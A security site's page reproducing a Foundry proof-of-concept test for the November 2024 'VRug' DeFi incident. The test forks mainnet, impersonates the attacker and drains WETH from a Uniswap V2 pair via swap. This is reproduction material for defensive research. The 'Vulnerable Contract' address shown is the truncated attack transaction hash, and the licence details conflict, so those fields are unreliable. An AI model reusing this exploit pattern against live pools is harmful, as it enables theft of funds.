Skip to content
THREATWIRE

Public reproduction file

src/test/2024-11/VRug_exp.sol

Public reproduction file for dataset entry VRug.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-11/VRug_exp.sol38 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 8.4K
7// Attacker :
8// Attack Contract :
9// Vulnerable Contract :
10// Attack Tx : https://etherscan.io/tx/0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae
12// @Info
13// Vulnerable Contract Code :
15// @Analysis
16// Post-mortem : https://x.com/TenArmorAlert/status/1854702463737380958
17// Twitter Guy : https://x.com/TenArmorAlert/status/1854702463737380958
18// Hacking God : N/A
20address constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21address constant attacker = 0x080086911D8c78008800FAE75871a657b77d0082;
22address constant mev = 0x0000E0Ca771e21bD00057F54A68C30D400000000;
23address constant univ2 = 0x8Cc0c46000A6a4097F9C62293CE62eE5B81E6dfd;
25contract ContractTest is Test {
26 function setUp() public {
27 vm.createSelectFork("mainnet", 21138659);
28 }
30 function testPoC() public {
31 vm.startPrank(attacker, attacker);
32 deal(weth9, address(univ2), 3208323423502347412);
33 emit log_named_decimal_uint("before attack: balance of mev", IERC20(weth9).balanceOf(mev), 18);
34 IUniswapV2Pair(univ2).swap(2903872687851807969, 0, address(mev), "");
35 emit log_named_decimal_uint("after attack: balance of mev", IERC20(weth9).balanceOf(mev), 18);
36 vm.stopPrank();
37 }

Analysis

Dataset entry

Public Foundry test for “VRug” (2024-11-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

14 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Vulnerable Contract

    0x5e151627dc06ec4f2db5be2f48248f320ad3450a

  • Attack Tx

    0x5e151627dc06ec4f2db5be2f48248f320ad3450aba42b1bbd00131bcbaa4f0ae

File record

Name
VRug
Path
src/test/2024-11/VRug_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
2fe943f77f56fcdb148de2b74516b34791827764
Language
Solidity
Size
38 lines
Date
2024-11-07
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2024-11/VRug_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2fe943f77f56fcdb148de2b74516b34791827764, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.